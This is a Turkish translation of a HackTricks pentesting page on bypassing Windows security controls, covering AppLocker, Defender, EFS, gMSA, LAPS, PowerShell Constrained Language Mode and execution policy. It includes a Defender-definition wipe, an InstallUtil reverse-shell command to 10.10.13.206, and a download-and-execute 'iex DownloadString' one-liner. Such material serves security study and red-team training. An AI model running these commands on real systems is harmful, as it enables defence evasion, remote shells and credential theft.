Windows Security Controls

AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!

HackTricks'ı desteklemenin diğer yolları:

Trickest kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin. Bugün Erişim Alın:

AppLocker Politikası

Uygulama beyaz listesi, bir sisteme yüklenmesine ve çalıştırılmasına izin verilen onaylanmış yazılım uygulamaları veya yürütülebilir dosyaların listesidir. Amaç, zararlı kötü amaçlı yazılımlardan ve organizasyonun belirli iş gereksinimleriyle uyumlu olmayan onaylanmamış yazılımlardan çevreyi korumaktır.

AppLocker, Microsoft'un uygulama beyaz listeleme çözümü olup sistem yöneticilerine kullanıcıların hangi uygulamaları ve dosyaları çalıştırabileceği üzerinde kontrol sağlar. Yürütülebilir dosyalar, betikler, Windows yükleyici dosyaları, DLL'ler, paketlenmiş uygulamalar ve paketlenmiş uygulama yükleyicileri üzerinde ayrıntılı kontrol sağlar. Organizasyonların genellikle cmd.exe ve PowerShell.exe'yi engellediği ve belirli dizinlere yazma erişimini engellediği ancak bunların hepsinin atlatılabileceği yaygındır.

Kontrol

Hangi dosyalar/uzantıların karalistede/beyaz listede olduğunu kontrol edin:

Get-ApplockerPolicy -Effective -xml

Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

$a = Get-ApplockerPolicy -effective
$a.rulecollections

Bu kayıt defteri yolu, AppLocker tarafından uygulanan yapılandırmaları ve politikaları içerir ve sisteme uygulanan mevcut kural setini incelemek için bir yol sağlar:

  • HKLM\Software\Policies\Microsoft\Windows\SrpV2

Atlatma

  • AppLocker Politikasını atlamak için kullanışlı Yazılabilir klasörler: Eğer AppLocker, C:\Windows\System32 veya C:\Windows içinde herhangi bir şeyi çalıştırmaya izin veriyorsa, bu durumu atlamak için kullanabileceğiniz yazılabilir klasörler bulunmaktadır.

C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\windows\tracing
  • Genellikle güvenilir "LOLBAS's" ikili dosyaları, AppLocker'ı atlamak için de kullanışlı olabilir.

  • Kötü yazılmış kurallar da atlanabilir

  • Örneğin, <FilePathCondition Path="%OSDRIVE%*\allowed*"/>, herhangi bir yerde allowed adında bir klasör oluşturabilir ve izin verilecektir.

  • Kuruluşlar genellikle %System32%\WindowsPowerShell\v1.0\powershell.exe yürütülebilir dosyasını engellemeye odaklanırken, diğer PowerShell yürütülebilir dosya konumlarını gibi %SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe veya PowerShell_ISE.exe gibi yerleri unuturlar.

  • DLL uygulaması çok nadiren etkinleştirilir çünkü sisteme ek yük getirebilir ve hiçbir şeyin bozulmayacağını sağlamak için gereken test miktarı. Bu nedenle, DLL'leri arka kapı olarak kullanmak, AppLocker'ı atlamaya yardımcı olacaktır.

  • ReflectivePick veya SharpPick kullanarak Powershell kodunu herhangi bir işlemde yürüterek AppLocker'ı atlayabilirsiniz. Daha fazla bilgi için şuraya bakın: https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode.

Kimlik Bilgileri Depolama

Güvenlik Hesap Yöneticisi (SAM)

Yerel kimlik bilgileri bu dosyada bulunur, şifreler karmalanmıştır.

Yerel Güvenlik Otoritesi (LSA) - LSASS

Kimlik bilgileri (karmalanmış) bu alt sistemin belleğinde saklanır Tek Oturum Açma nedenleri için. LSA, yerel güvenlik politikasını (şifre politikası, kullanıcı izinleri...), kimlik doğrulama, erişim belirteçleri yönetir... LSA, yerel bir oturum açma için sunulan kimlik bilgilerini SAM dosyası içinde kontrol edecek ve bir alan kullanıcısını doğrulamak için alan denetleyicisiyle iletişim kuracak olan odur.

Kimlik bilgileri LSASS işlemi içinde saklanır: Kerberos biletleri, NT ve LM karmaları, kolayca şifrelenmiş şifreler.

LSA sırları

LSA, diske bazı kimlik bilgilerini kaydedebilir:

  • Erişilemeyen alan denetleyicisinin bilgisayar hesabının şifresi.

  • Windows hizmetlerinin hesaplarının şifreleri

  • Zamanlanmış görevler için şifreler

  • Daha fazlası (IIS uygulamalarının şifresi...)

NTDS.dit

Bu, Alan Denetleyicilerinde yalnızca bulunan Active Directory veritabanıdır.

Defender

Microsoft Defender, Windows 10 ve Windows 11'de ve Windows Server sürümlerinde bulunan bir Antivirüstür. WinPEAS gibi yaygın pentesting araçlarını engeller. Bununla birlikte, bu korumaları atlamak için yollar vardır.

Kontrol

Defender'ın durumunu kontrol etmek için PS cmdlet Get-MpComputerStatus'u yürütebilirsiniz (**etkin olup olmadığını bilmek için RealTimeProtectionEnabled değerini kontrol edin):

PS C:\> Get-MpComputerStatus

[...]
AntispywareEnabled              : True
AntispywareSignatureAge         : 1
AntispywareSignatureLastUpdated : 12/6/2021 10:14:23 AM
AntispywareSignatureVersion     : 1.323.392.0
AntivirusEnabled                : True
[...]
NISEnabled                      : False
NISEngineVersion                : 0.0.0.0
[...]
RealTimeProtectionEnabled       : True
RealTimeScanDirection           : 0
PSComputerName                  :

Ayrıca, bunu sıralamak için şunu da çalıştırabilirsiniz:

WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
wmic /namespace:\\root\securitycenter2 path antivirusproduct
sc query windefend

#Delete all rules of Defender (useful for machines without internet access)
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

Şifrelenmiş Dosya Sistemi (EFS)

EFS, dosyaları şifreleyerek güvenli hale getirir ve Dosya Şifreleme Anahtarı (FEK) olarak bilinen bir simetrik anahtar kullanır. Bu anahtar, kullanıcının genel anahtarı ile şifrelenir ve şifrelenmiş dosyanın $EFS alternatif veri akışı içinde depolanır. Şifre çözme gerektiğinde, kullanıcının dijital sertifikasının karşılık gelen özel anahtarı kullanılarak FEK $EFS akışından şifre çözülür. Daha fazla ayrıntıya buradan ulaşılabilir.

Kullanıcı başlatması olmadan şifre çözme senaryoları şunları içerir:

  • Dosyalar veya klasörler FAT32 gibi EFS olmayan bir dosya sistemine taşındığında otomatik olarak şifre çözülür.

  • SMB/CIFS protokolü aracılığıyla ağ üzerinden gönderilen şifreli dosyalar, iletim öncesinde şifre çözülür.

Bu şifreleme yöntemi, sahibin şifreli dosyalara şeffaf erişim sağlar. Ancak, sadece sahibin şifresini değiştirmek ve oturum açmak, şifre çözümüne izin vermeyecektir.

Anahtar Noktalar:

  • EFS, kullanıcının genel anahtarı ile şifrelenmiş simetrik bir FEK kullanır.

  • Şifre çözme, FEK'e erişmek için kullanıcının özel anahtarını kullanır.

  • Kopyalama işlemi FAT32'ye veya ağ iletimine gibi belirli koşullar altında otomatik şifre çözme gerçekleşir.

  • Şifreli dosyalara ek adımlar olmadan sahibin erişimi vardır.

EFS bilgilerini kontrol et

Bu hizmeti kullanan bir kullanıcının bu yolu kullandığını kontrol etmek için bu yolun varlığını kontrol et: C:\users\<kullanıcıadı>\appdata\roaming\Microsoft\Protect

Dosyaya kimin erişimi olduğunu kontrol etmek için cipher /c \<dosya> kullanın. Ayrıca tüm dosyaları şifrelemek ve şifre çözmek için bir klasör içinde cipher /e ve cipher /d kullanabilirsiniz.

EFS dosyalarını şifre çözme

Yetkili Sistem Olmak

Bu yöntem, kurban kullanıcının ana makinede bir işlem çalıştırıyor olmasını gerektirir. Bu durumda, bir meterpreter oturumu kullanarak kullanıcının işleminin belirteci (incognito'dan impersonate_token) taklit edilebilir. Veya sadece kullanıcının işlemine migrate olabilirsiniz.

Kullanıcının şifresini bilmek

Grup Yönetilen Hizmet Hesapları (gMSA)

Microsoft, IT altyapılarında hizmet hesaplarının yönetimini basitleştirmek için Grup Yönetilen Hizmet Hesapları (gMSA) geliştirmiştir. Sıklıkla "Şifre asla süresiz" ayarının etkin olduğu geleneksel hizmet hesaplarının aksine, gMSA'lar daha güvenli ve yönetilebilir bir çözüm sunar:

  • Otomatik Şifre Yönetimi: gMSA'lar, alan veya bilgisayar politikasına göre otomatik olarak değişen karmaşık, 240 karakterlik bir şifre kullanır. Bu süreç, Microsoft'un Anahtar Dağıtım Hizmeti (KDC) tarafından yönetilir ve manuel şifre güncellemelerine gerek kalmaz.

  • Geliştirilmiş Güvenlik: Bu hesaplar kilitlenmeye karşı bağışıklıktır ve etkileşimli oturum açmalar için kullanılamaz, güvenliklerini artırır.

  • Birden Fazla Ana Bilgisayar Desteği: gMSA'lar, birden çok sunucuda çalışan hizmetler için idealdir.

  • Zamanlanmış Görev Yeteneği: Yönetilen hizmet hesaplarının aksine, gMSA'lar zamanlanmış görevleri çalıştırmayı destekler.

  • Basitleştirilmiş SPN Yönetimi: Sistem, bilgisayarın sAMaccount ayrıntıları veya DNS adı değişiklikleri olduğunda Servis Başlığı Adı (SPN) otomatik olarak günceller, SPN yönetimini basitleştirir.

gMSA'ların şifreleri msDS-ManagedPassword LDAP özelliğinde depolanır ve her 30 günde bir Alan Denetleyicileri (DC'ler) tarafından otomatik olarak sıfırlanır. Bu şifre, yetkili yöneticiler ve gMSA'ların yüklü olduğu sunucular tarafından yalnızca alınabilir ve MSDS-MANAGEDPASSWORD_BLOB olarak bilinen şifrelenmiş veri bloğudur, güvenli bir ortamı garanti altına alır. Bu bilgilere erişmek için LDAPS gibi güvenli bir bağlantı gereklidir veya bağlantı 'Mühürleme ve Güvenli' ile kimlik doğrulamalıdır.

Bu şifreyi GMSAPasswordReader ile okuyabilirsiniz.

/GMSAPasswordReader --AccountName jkohler

Bu gönderide daha fazla bilgi bulun

Ayrıca, NTLM aktarım saldırısını gerçekleştirmek için bu web sayfasını kontrol edin ve gMSA'nın şifresini okuyun.

LAPS

Local Administrator Password Solution (LAPS), Microsoft'tan indirilebilen, yerel Yönetici şifrelerinin yönetimini sağlar. Bu rastgele, benzersiz ve düzenli olarak değiştirilen şifreler, Active Directory'de merkezi olarak depolanır. Bu şifrelere erişim, yetkilendirilmiş kullanıcılara ACL'ler aracılığıyla kısıtlanmıştır. Yeterli izinler verildiğinde, yerel yönetici şifrelerini okuma yeteneği sağlanır.

pageLAPS

PS Kısıtlanmış Dil Modu

PowerShell Kısıtlanmış Dil Modu, PowerShell'ı etkili bir şekilde kullanmak için gereken birçok özelliği kilitler, COM nesnelerini engeller, yalnızca onaylanmış .NET türlerine izin verir, XAML tabanlı iş akışları, PowerShell sınıfları ve daha fazlasına izin verir.

Kontrol Edin

$ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage

Atlatma

#Easy bypass
Powershell -version 2

Mevcut Windows'ta Bu atlatma çalışmayacak ama PSByPassCLM kullanabilirsiniz. Derlemek için muhtemelen Referans Eklemegerekebilir -> Gözat ->Gözat -> C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll ekleyin ve projeyi .Net4.5'e değiştirin.

Doğrudan atlatma:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe

Ters kabuk:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe

ReflectivePick veya SharpPick kullanarak Powershell kodunu herhangi bir işlemde çalıştırabilir ve kısıtlanmış modu atlayabilirsiniz. Daha fazla bilgi için şuraya bakabilirsiniz: https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode.

PS Yürütme Politikası

Varsayılan olarak restricted olarak ayarlanmıştır. Bu politikayı atlatmanın temel yolları:

1º Just copy and paste inside the interactive PS console
2º Read en Exec
Get-Content .runme.ps1 | PowerShell.exe -noprofile -
3º Read and Exec
Get-Content .runme.ps1 | Invoke-Expression
4º Use other execution policy
PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1
5º Change users execution policy
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
6º Change execution policy for this session
Set-ExecutionPolicy Bypass -Scope Process
7º Download and execute:
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"
8º Use command switch
Powershell -command "Write-Host 'My voice is my passport, verify me.'"
9º Use EncodeCommand
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand

Daha fazlası burada

Güvenlik Destek Sağlayıcı Arayüzü (SSPI)

Kullanıcıların kimlik doğrulaması için kullanılan API'dir.

SSPI, iletişim kurmak isteyen iki makine için uygun protokolü bulmakla görevlidir. Bunun için tercih edilen yöntem Kerberos'tur. Daha sonra SSPI, hangi kimlik doğrulama protokolünün kullanılacağını müzakere eder, bu kimlik doğrulama protokolleri Güvenlik Destek Sağlayıcı (SSP) olarak adlandırılır, her biri Windows makinesinin içinde bir DLL olarak bulunur ve iletişim kurabilmek için her iki makinenin de aynı desteği sağlaması gerekir.

Ana SSP'ler

  • Kerberos: Tercih edilen

  • %windir%\Windows\System32\kerberos.dll

  • NTLMv1 ve NTLMv2: Uyumluluk nedenleri

  • %windir%\Windows\System32\msv1_0.dll

  • Digest: Web sunucuları ve LDAP, MD5 karmaşık bir parola

  • %windir%\Windows\System32\Wdigest.dll

  • Schannel: SSL ve TLS

  • %windir%\Windows\System32\Schannel.dll

  • Negotiate: Kullanılacak protokolü müzakere etmek için kullanılır (Kerberos veya NTLM olmak üzere, Kerberos varsayılanıdır)

  • %windir%\Windows\System32\lsasrv.dll

Müzakere birden fazla yöntem sunabilir veya sadece bir tanesini.

UAC - Kullanıcı Hesabı Denetimi

Kullanıcı Hesabı Denetimi (UAC) yükseltilmiş etkinlikler için onay iletişim kutusunu etkinleştiren bir özelliktir.

pageUAC - User Account Control

Trickest kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin. Bugün Erişim Alın:


Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

Last updated